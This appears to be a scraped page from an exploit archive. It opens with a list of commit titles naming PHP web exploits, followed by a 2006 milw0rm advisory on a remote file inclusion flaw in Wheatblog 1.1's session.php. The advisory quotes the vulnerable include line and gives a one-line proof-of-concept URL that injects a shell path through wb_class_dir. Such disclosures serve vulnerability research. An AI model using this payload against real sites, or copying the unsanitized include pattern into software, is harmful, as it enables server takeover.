f96ddba143
2 new exploits SAPID Blog beta 2 - (root_path) Remote File Inclusion SAPID Gallery 1.0 - (root_path) Remote File Inclusion SAPID Shop 1.2 - (root_path) Remote File Inclusion SAPID Blog beta 2 - (root_path) Remote File Inclusion SAPID Gallery 1.0 - (root_path) Remote File Inclusion SAPID Shop 1.2 - (root_path) Remote File Inclusion PHPCodeCabinet 0.5 - (Core.php) Remote File Inclusion phNNTP 1.3 - (article-raw.php) Remote File Inclusion Cwfm 0.9.1 - (Language) Remote File Inclusion PHP 4.4.3 / 5.1.4 - (objIndex) Local Buffer Overflow PoC Cwfm 0.9.1 - (Language) Remote File Inclusion PHP 4.4.3 / 5.1.4 - (objIndex) Local Buffer Overflow PoC PgMarket 2.2.3 - (CFG[libdir]) Remote File Inclusion PHPMyRing 4.2.0 - (view_com.php) SQL Injection SAPID CMS 1.2.3_rc3 - (rootpath) Remote Code Execution Exploit phpwcms 1.1-RC4 - (spaw) Remote File Inclusion Spaminator 1.7 - (page) Remote File Inclusion Thatware 0.4.6 - (root_path) Remote File Inclusion Spaminator 1.7 - (page) Remote File Inclusion Thatware 0.4.6 - (root_path) Remote File Inclusion phpPrintAnalyzer 1.2 - Remote File Inclusion Wheatblog 1.1 - (session.php) Remote File Inclusion phPay 2.02 - (nu_mail.inc.php) Remote mail() Injection Exploit WordPress CYSTEME Finder Plugin 1.3 - Arbitrary File Dislcosure/Arbitrary File Upload WordPress CYSTEME Finder Plugin 1.3 - Arbitrary File Disclosure/Arbitrary File Upload FortiClient SSLVPN 5.4 - Credentials Disclosure
41 lines
1.3 KiB
Text
Executable file
41 lines
1.3 KiB
Text
Executable file
###########################################################################################
|
|
# Aria-Security.net Advisory #
|
|
# Discovered by: O.U.T.L.A.W #
|
|
# < www.Aria-security.net > #
|
|
# Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll #
|
|
###########################################################################################
|
|
|
|
|
|
<?php
|
|
include_once("$wb_class_dir/classDatabase.php");
|
|
|
|
|
|
function Start_Session()
|
|
{
|
|
global $session_dir;
|
|
|
|
if ( $session_dir != '' )
|
|
session_save_path($session_dir);
|
|
|
|
if ( ! isset($_SESSION) )
|
|
{
|
|
session_start();
|
|
// Supposedly a fix for IE6
|
|
header('Cache-control: private');
|
|
My_Cache();
|
|
|
|
if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource')
|
|
touchDatabaseSession();
|
|
|
|
}
|
|
}
|
|
|
|
|
|
***********************************************************************
|
|
|
|
Proof of Concept:
|
|
server/includes/session.php?wb_class_dir=SHELL
|
|
|
|
Contact : Outlaw@aria-security.net
|
|
|
|
# milw0rm.com [2006-08-11]
|